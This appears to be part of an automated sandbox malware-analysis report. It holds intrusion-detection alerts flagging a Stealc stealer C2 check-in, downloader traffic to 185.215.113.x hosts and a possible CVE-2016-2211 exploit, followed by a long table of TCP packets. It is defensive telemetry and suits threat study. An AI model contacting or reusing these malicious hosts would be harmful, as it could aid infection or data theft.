2024-11-05T10:13:53.405291+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:13:55.519077+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:13:55.717732+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.5	50026	TCP
2024-11-05T10:13:56.609420+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:13:58.797820+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49934	185.215.113.206	80	TCP
2024-11-05T10:14:00.094381+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50072	185.215.113.206	80	TCP
2024-11-05T10:14:08.550432+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50130	185.215.113.16	80	TCP
2024-11-05T10:14:17.213387+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50137	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 10:12:52.057559967 CET	49674	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:12:52.057566881 CET	49675	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:12:52.182564974 CET	49673	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:12:58.521954060 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:58.521974087 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:58.522063971 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:58.523240089 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:58.523258924 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.165723085 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.165817976 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.169563055 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.169570923 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.169847012 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.213645935 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.213670969 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.213738918 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.349988937 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.350033045 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.350065947 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.350078106 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.350090981 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.350130081 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.354659081 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.354737043 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.354780912 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.355592966 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.355603933 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.355616093 CET	49704	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.355619907 CET	443	49704	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.446732998 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.446758986 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:12:59.446830034 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.447134972 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:12:59.447149992 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.062659979 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.062752962 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.064055920 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.064065933 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.064291954 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.065562963 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.065607071 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.065634012 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793251038 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793302059 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793330908 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793387890 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.793390036 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793401957 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793437004 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793443918 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.793453932 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793489933 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.793785095 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793829918 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793843031 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.793849945 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.793909073 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.911847115 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.911912918 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.911947012 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.911967993 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.911978960 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.912034988 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.912041903 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.912087917 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.912169933 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.928776979 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.928776979 CET	49705	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:00.928786993 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:00.928795099 CET	443	49705	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:01.427212954 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:01.427251101 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:01.427323103 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:01.427891016 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:01.427906990 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:01.666908026 CET	49674	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:01.666908979 CET	49675	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:01.791929007 CET	49673	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:02.033780098 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.033879995 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.035449982 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.035459042 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.035701036 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.036945105 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.037106991 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.037142038 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.578516006 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.578613997 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.578675032 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.578797102 CET	49706	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.578809023 CET	443	49706	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.668302059 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.668320894 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:02.668452024 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.668802023 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:02.668813944 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:03.276777983 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:03.276881933 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:03.278266907 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:03.278271914 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:03.278520107 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:03.279742956 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:03.279870033 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:03.281729937 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:03.281800032 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:03.281805038 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:03.555361986 CET	443	49703	23.1.237.91	192.168.2.5
Nov 5, 2024 10:13:03.555464029 CET	49703	443	192.168.2.5	23.1.237.91
Nov 5, 2024 10:13:04.053280115 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:04.053359985 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:04.053538084 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:04.083796978 CET	49707	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:04.083806038 CET	443	49707	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:04.400952101 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:04.401004076 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:04.401107073 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:04.401473045 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:04.401485920 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.023310900 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.023396969 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:05.024668932 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:05.024681091 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.024915934 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.025998116 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:05.026185989 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:05.026216030 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.026279926 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:05.026288986 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.687361002 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.687486887 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:05.687537909 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:05.687598944 CET	49708	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:05.687617064 CET	443	49708	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:06.004580975 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:06.004611969 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:06.004681110 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:06.005017996 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:06.005031109 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:06.613035917 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:06.613260984 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:06.623230934 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:06.623236895 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:06.623490095 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:06.634893894 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:06.634912014 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:06.634927988 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:07.334274054 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:07.334372044 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:07.334477901 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:07.334599018 CET	49709	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:07.334610939 CET	443	49709	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:07.780869007 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:07.780915976 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:07.781080961 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:07.781306982 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:07.781321049 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.388830900 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.388942003 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.390207052 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.390218973 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.390456915 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.391755104 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.392462969 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.392493010 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.392595053 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.392627001 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.392725945 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.392757893 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.392877102 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.392904997 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.393054008 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.393079042 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.393233061 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.393258095 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.393265963 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.393414974 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.393446922 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.402643919 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.402784109 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.402797937 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.402820110 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.402831078 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.402920961 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.402952909 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.402967930 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.402987957 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.403000116 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:08.403043985 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:08.408118963 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.011277914 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.011373043 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.011436939 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.011528015 CET	49710	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.011543036 CET	443	49710	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.030231953 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.030251026 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.030325890 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.030641079 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.030653954 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.643033028 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.643143892 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.644407034 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.644412041 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.644644976 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:11.645843029 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.645859003 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:11.645911932 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:12.138155937 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:12.138245106 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:12.138295889 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:12.184618950 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:12.184633970 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:12.184645891 CET	49711	443	192.168.2.5	104.21.5.155
Nov 5, 2024 10:13:12.184650898 CET	443	49711	104.21.5.155	192.168.2.5
Nov 5, 2024 10:13:12.210323095 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:12.215265989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:12.215336084 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:12.215473890 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:12.221529007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:12.551511049 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:12.551565886 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:12.551629066 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:12.554670095 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:12.554687023 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:13.183135986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183161020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183216095 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.183267117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183278084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183290005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183320999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.183353901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183366060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183377028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183387041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183398008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.183406115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.183406115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.183481932 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.190152884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.190390110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.190495968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.346779108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346793890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346806049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346815109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346826077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346837997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346847057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346856117 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.346858025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.346937895 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.347377062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.347413063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.347424030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.347465038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.347472906 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.347479105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.347507954 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.401310921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.463553905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.463625908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.463694096 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.463819981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.463861942 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.463872910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.463948965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.463959932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.463973999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.463994026 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.464529991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.464553118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.464561939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.464582920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.464601040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.464605093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.464612007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.464648008 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.465281963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.509747028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.509762049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.509816885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.580440998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.580451965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.580496073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.580517054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.580554962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.580565929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.580578089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.580607891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.580630064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.581213951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.581224918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.581234932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.581244946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.581264019 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.581310987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.581825018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.581835032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.581876040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.622798920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.622823000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.622834921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.622896910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.626513004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.626527071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.626599073 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.666904926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.667829037 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:13.667910099 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:13.670909882 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:13.670918941 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:13.671279907 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:13.697540045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697623968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697633982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697644949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697664022 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.697698116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.697784901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697848082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697859049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697885036 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.697910070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.697921038 CET	80	49712	185.215.113.16	192.168.2.5
